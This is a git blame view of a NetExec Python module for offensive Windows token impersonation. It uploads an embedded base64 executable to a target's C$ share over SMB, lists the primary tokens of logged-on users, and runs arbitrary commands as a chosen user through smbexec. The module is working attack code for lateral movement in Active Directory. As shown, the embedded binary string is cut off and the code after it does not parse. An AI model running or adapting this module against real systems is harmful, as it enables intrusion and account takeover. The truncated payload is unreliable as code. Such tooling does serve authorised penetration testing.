NetExec/nxc/modules/impersonate.py

100 lines
178 KiB
Python
Raw Normal View History

# Impersonate module for nxc
# Author of the module : https://twitter.com/Defte_
# Impersonate: https://github.com/sensepost/Impersonate
# Token manipulation blog post https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/
2022-10-27 10:21:46 +00:00
from base64 import b64decode
2022-10-27 19:32:55 +00:00
from sys import exit
from os import path
2022-07-04 12:44:35 +00:00
class NXCModule:
2022-07-04 12:44:35 +00:00
name = "impersonate"
2023-05-08 18:39:36 +00:00
description = "List and impersonate tokens to run command as locally logged on users"
2022-07-04 12:44:35 +00:00
supported_protocols = ["smb"]
opsec_safe = True # could be flagged
2022-07-04 12:44:35 +00:00
multiple_hosts = True
def options(self, context, module_options):
'''
TOKEN // Token id to usurp
EXEC // Command to exec
IMP_EXE // Path to the Impersonate binary on your local computer
'''
2022-07-04 12:44:35 +00:00
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.impersonate = "Impersonate.exe"
self.useembeded = True
2022-10-27 19:32:55 +00:00
self.token = self.cmd = ""
self.impersonate_embedded = b64decode("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
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
2022-10-27 19:32:55 +00:00
if "TOKEN" in module_options:
self.token = module_options["TOKEN"]
if "IMP_EXE" in module_options:
self.imp_exe = module_options["IMP_EXE"]
self.useembeded = False
2022-07-04 12:44:35 +00:00
2022-07-09 16:34:35 +00:00
def list_available_primary_tokens(self, _, connection):
2022-10-27 10:21:46 +00:00
command = f"{self.tmp_dir}Impersonate.exe list"
2022-07-09 16:34:35 +00:00
return connection.execute(command, True)
2022-07-04 12:44:35 +00:00
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = "/tmp/Impersonate.exe"
with open(file_to_upload, 'wb') as impersonate:
impersonate.write(self.impersonate_embedded)
else:
if path.isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
exit(1)
2022-07-04 12:44:35 +00:00
2023-07-23 15:03:17 +00:00
context.log.display(f"Uploading {self.impersonate}")
with open(file_to_upload, 'rb') as impersonate:
2022-07-04 12:44:35 +00:00
try:
2023-05-08 18:39:36 +00:00
connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
2023-09-20 15:59:16 +00:00
context.log.success("Impersonate binary successfully uploaded")
2022-07-04 12:44:35 +00:00
except Exception as e:
2023-07-23 15:03:17 +00:00
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
2022-07-04 12:44:35 +00:00
return
try:
2022-10-27 19:32:55 +00:00
if self.cmd == "" or self.token == "":
2023-09-20 15:59:16 +00:00
context.log.display("Listing available primary tokens")
2022-07-09 16:34:35 +00:00
p = self.list_available_primary_tokens(context, connection)
2022-07-04 12:44:35 +00:00
for line in p.splitlines():
token, token_integrity, token_owner = line.split(" ", 2)
context.log.highlight(f"Primary token ID: {token:<2} {token_integrity:<6} {token_owner}")
2022-07-04 12:44:35 +00:00
else:
2022-07-09 16:34:35 +00:00
impersonated_user = ""
p = self.list_available_primary_tokens(context, connection)
for line in p.splitlines():
token_id, token_integrity, token_owner = line.split(" ", 2)
2022-10-27 10:21:46 +00:00
if token_id == self.token:
impersonated_user = token_owner.strip()
2022-07-09 16:34:35 +00:00
break
2022-10-27 10:21:46 +00:00
if impersonated_user:
2023-07-23 15:03:17 +00:00
context.log.display(f"Executing {self.cmd} as {impersonated_user}")
command = f'{self.tmp_dir}Impersonate.exe exec {self.token} \"{self.cmd}\"'
2023-05-08 18:39:36 +00:00
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
2022-10-27 10:21:46 +00:00
context.log.highlight(line)
2022-07-09 16:34:35 +00:00
else:
2023-09-20 15:59:16 +00:00
context.log.fail("Invalid token ID submitted")
2022-07-09 16:34:35 +00:00
2022-07-04 12:44:35 +00:00
except Exception as e:
2023-07-23 15:03:17 +00:00
context.log.fail(f"Error runing command: {e}")
2022-07-04 12:44:35 +00:00
finally:
try:
2023-05-08 18:39:36 +00:00
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
2023-09-20 15:59:16 +00:00
context.log.success("Impersonate binary successfully deleted")
2022-07-04 12:44:35 +00:00
except Exception as e:
2023-07-23 15:03:17 +00:00
context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}")